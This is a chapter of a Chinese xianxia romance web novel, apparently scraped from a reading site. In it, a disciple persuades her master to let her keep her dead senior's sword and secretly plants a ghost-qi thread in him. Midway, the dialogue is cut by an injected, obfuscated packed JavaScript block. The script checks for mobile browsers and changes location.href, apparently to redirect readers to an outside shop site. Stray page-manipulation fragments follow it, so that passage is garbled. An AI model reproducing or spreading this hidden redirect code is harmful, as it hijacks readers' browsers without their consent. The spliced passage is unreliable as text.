11. 第 11 章

作品:《假装成师兄的未亡人后

    晏珩未语,而风雪连天,吹散满园梨花白。


    云杳窈再一想,隐春宫有他设下的法阵,哪来的风雪侵扰?


    分明是他心中愠怒,令回雪峰为之震颤。


    饶是如此,云杳窈仍不愿退让。


    她于剑术一道,天赋有限,过不了宗务堂的审核。若是想要下山,不仅需要门中弟子带队,还需要有一把本命剑。


    修炼有八大境界,入化、形生、韵灵、无灭、神秀、应天、归元、返璞。


    乾阳宗的弟子,凡是过了形生境,待过了形生境初期,便能进入剑冢感应本命剑。


    神剑有灵,乾阳宗的弟子以剑入道,却并非谁都会有本命剑。


    云杳窈今生比前世更早突破,如今已是形生境初期。按照常理,她只需耐心等待,好好修炼,待境界稳定,就能够挑选本命剑,到时候再下山也不迟。


    前世云杳窈不是没进入过剑冢,然而其中未曾有剑为她而鸣。


    并非是她拒绝了剑道,而是剑拒绝了她。


    正因如此,她才更要留下问心。


    晏珩按下未出口的斥责,道:“与死人合籍,闻所未闻,难不成你要为他折寿?”


    他闭上双眼,心乱如麻。


    岑无望少年老成,云杳窈自拜入他门下,便由他亲自教导。


    她向来乖巧懂事,却不想在岑无望一事上近似疯魔。


    云杳窈一直抱着问心,听见外面风动树摇,他的质问犹似冷刃,劈开她的天真。


    她脸色苍白,将问心小心横放在膝前,深深向他一拜。


    “师尊爱惜弟子,原不该为此事让师尊烦心。然而师兄尸骨不存,问心是他留给我的唯一念想,若是将它归还剑冢,弟子实在不甘。”


    乾阳宗是天下第一的剑宗,云杳窈的师尊晏珩,是当世第一等的剑修。


    云杳窈身为他的弟子,却连本命剑都没有,实在可笑。


    前世杳窈从剑冢内空手而归,至死都停滞在了形生境界。


    终其一生,她是大道茫然无知的攀登者,也是被不被眷顾的剑宗弃子。


    旁人的坦途,却是她遥不可及的高峰。


    缺点天分,于旁人来说,或许是心头遗憾,兴许勤能补拙还能填补这片空缺。


    然而对云杳窈来说,她所在的时代,是灵气蓬勃、天才辈出的时代。


    洪流簇拥之下,一滴水的呐喊声,实在微不足道。


    云杳窈说到此处,喉间哽咽再也压抑不住,她换了换,接着说。


    “杳窈从未求过师尊,只此一次,求你,求求你,让我以道侣的身份,留住问心。”


    她这会儿是真心实意的在难过。


    不过并不是为岑无望,而是为她自己。


    云杳窈两辈子最怜爱的人,都是她自己。


    上辈子,她自知飞升无望,便想着近水楼台先得月,嫁给晏珩,即便来日没能借他的光飞升上界,她留在乾阳宗,还能衣食无忧,人人尊敬。


    没想到晏珩会杀妻证道。


    活该他最后没能飞升。


    云杳窈在心底再次骂道,真不争气啊。


    再抬头,云杳窈眼尾染上薄红一片,泪眼婆娑间,将她原本就纯澈的眼瞳衬得更加剔透。


    这副模样,她揽镜自照,亦觉可怜。


    晏珩最见不得她流眼泪,与其说是心疼,更多的是无措。


    无论是前世还是今生,见到云杳窈哭泣,他总是会心软片刻。


    云杳窈要抓住的,就是这片刻的心软,她抬起手指,牵住晏珩衣角,道:“我只想要问心,师兄已经不在了,难不成连个念想都不能留吗?”


    她的抽泣声在寂静的殿内回荡,每一声砸在晏珩心间,都能震起片片涟漪。


    晏珩意识到心意已动,自知不该如此。他生来冷清,原就不该有这么多情绪。


    不管是为了谁。


    他看着身前的云杳窈,她的脖颈线条因仰面直视而绷得很直,越发显得纤细脆弱起来。


    这样脆弱的生命,就好像不慎飘离回雪峰的雪花一样易融。


    它以为是奔向自由归途,其实是走向消亡。


    晏珩看着她,就好像看着自己的悲悯。


    圣人是该多些怜弱之心。晏珩这般想着,俯身为云杳窈擦去一滴悬在睫羽上,未来得及掉落的眼泪。


    他第无数次意识到,云杳窈真的很脆弱。


    脆弱到,见到她,就像是见到无数挣扎求生的生灵一般。


    鲜规之兽,若无所倚靠,自然会惶惶不可终日。


    看着云杳窈的执着,晏珩突然想通了,连月郁结在心口的那股气随之不见。


    晏珩重新不扶她起身,反倒纵容她这么靠着自己。


    “好了。”他这声似妥协,但更像是喟叹。


    “不就是一把问心而已,你想留在身边,便留着吧。”


    晏珩想起云杳窈刚上山时,岑无望每每下山,她都会抱着师兄留下的旧衣。


    日暮斜阳时,远眺山路,期待那个清瘦沉默的身影闯入她视线。


    云杳窈身体弱,为此吃了不少苦,晏珩用了很久,才改掉她这个坏习惯。


    旧衣故剑,本就不是什么值得放在心上的事。若是有了新事物的出现,轻而易举就能取代它们。


    晏珩轻抚她的背:“杳窈,你年少轻狂,愿奉献痴心,这原本没什么。但为师不愿看到你为情自苦。问心也好,岑无望也罢,为师纵着你最后痴狂这一次。往后万不能因此折损道心,不然反倒令岑无望九泉之下,不得安心。好吗?”


    他的手一次次抚过她单薄脊背,指尖不经意划到后颈皮肤,云杳窈顿时生出一身鸡皮疙瘩,连头皮都在发麻。


    云杳窈装作无事,抽噎着回答:“师尊慈爱,杳窈谨记师尊教诲。”


    晏珩长叹一口气:“情深不寿啊。”


    晏珩声音轻柔,明明他的喉舌还远,可声音就好像在她耳廓边盘旋。


    “合籍是不可能的,我不可能眼睁睁看门下弟子自毁前程。但我准你为他伤情三月,告慰他亡魂,也算是全了你痴心一片。”


    云杳窈刚要说谢,晏珩温柔道:“三个月后,春日已尽。新一批的弟子进入乾阳宗前,你须得从逢朽生椿搬回自己的住处。”


    逢朽生椿,便是岑无望的住处。


    岑无望天生剑心,可“剑心”并非形体实物,而是一种刻于魂魄骨血的天赋。


    相反,他生来患有心疾,惟有早日突破无灭境界,才能引灵气淬炼自身,治愈心疾。


    这也是为什么,岑无望会不断下山历练。


    怀剑心者,见苍生,救世人悲苦。


    云杳窈感觉晏珩的声音像是无形的绳索,一点点扼断她的呼吸。


    晏珩的声音还在继续:“你不是想让徐清来下山陪你吗?我明日已传信给宗务堂弟子,让他们给你赶制了通行令,你明日便能下山散心。”


    “记得按时归来,春末之时,门中大选,你是我唯一的弟子,不得缺席,知道吗?”


    云杳窈怯怯抬头,发现晏珩已覆手而立,面含浅笑,似挂在枝头的新雪般清冽,并无半分异常。


    她怔怔道:“师尊,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592673|155949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    “我只剩你这么一个弟子,自然是要多费些心思的。”晏珩道,“雪夜难行,为师还是送一送你吧。”


    说罢,晏珩将云杳窈扶起。


    两人穿过法阵,没有御剑,沉默行走在山道小路上,路途恰好足够他们并肩而行。


    晏珩执伞,云杳窈提灯。


    流光映雪,反衬得所过之处恍若白昼。


    有晏珩周身的灵力运转,严寒不侵,风雪不近。


    云杳窈不知道他为何还要打伞。


    逢朽生椿的门口悬挂着暖灯,把牌匾上的字照得很清楚。


    云杳窈看见这四个字,便回身对晏珩说:“多谢师尊,杳窈先行告退,师尊快回去安歇吧。”


    她退出伞下,声音惊动鸟雀,树枝摇晃,纷纷泼洒出一盏白。


    晏珩脚步未动,将伞往前倾斜,挡下即将落在她身上的雪。


    手中灯笼的光只能照亮脚下路,照不清他眸中晦暗。


    晏珩倏尔提起件旧事来:“还记得你第一次孤身上回雪峰,还不会御剑,伞被山间风吹走,我见到你时,霜雪落了你满身。”


    那时晏珩远远看见一只小雪人,凑近了才发现,是自己新收下的徒弟。


    霜雪落在她乌发与眉睫,满身皆白,好不可怜。


    晏珩轻轻笑了。


    云杳窈却回想起那时的寒冷,几乎要把她整个人冻得没知觉。


    初入乾阳宗,她的年纪对于修炼入门来说,为时过晚。不能用灵气护体,不算长的路,她走得十分艰难。


    云杳窈闻声抬头,正遇上晏珩垂眸看她,眸中除却灯光残影,还有模糊的她。


    她忽然觉得心里很乱,两人的距离不算逾矩,晏珩的动作甚至称得上克制。


    然而他这种忆及往昔的话,令她隐隐不安。


    今夜的晏珩,与前世的晏珩太像了,这种亲昵不该出现在师徒间。


    云杳窈笑着接过话:“师尊慈爱,如父如长,杳窈一直将师尊的好谨记在心,只待来日报答师尊呢。”


    晏珩将伞放置她掌中,两人指尖有刹那相抵。


    是晏珩先手收,云杳窈与他接触的手还微微颤抖,他仿若不觉,立于霜雪夜色中,摇头无奈道:“你啊,少让为师替你劳心费神就好,至于报答……”


    他面含浅笑:“明日下山前,记得来奉茶。虽是短行,但你毕竟头一遭下山,规矩不能不遵守。”


    云杳窈乖巧应下,在晏珩注视下回了逢朽生椿院内。


    她刚关上房门,脸上的笑容顿时收起。


    待晏珩远去,云杳窈坐于房间内,手中丝线释放。有一根线上,缠绕着缕缕鬼气。


    云杳窈把剩余丝线收回,只留下它。


    这上面是贪惑的鬼气。


    当时在崖底,花在溪将贪惑杀死后,仍有一缕鬼气残留在云杳窈的线上,缠绕其上,不仅不会和她体内灵气产生排异,反而越发顺从,云杳窈甚至能通过丝线滋养炼化它。


    云杳窈早就发现,除了她之外,无人能够感知到这股力量的存在。


    这些丝线就像是生于她血肉的藤,除却她自己,无人能感受到它们的蓬勃。


    从她今日到隐春宫开始,就没停止过对晏珩的试探。


    在崖底时,云杳窈还不熟悉这些丝线,误以为是自己灵力低微,所以才无法在瞬间借用它的力量打败花在溪。


    因为丝线刺入身体的关键不是身体伤口,而是情思漏洞。


    就在刚才,晏珩将伞递给她之际,这缕丝线已经埋进晏珩的手腕,顺着他的经脉进了体内。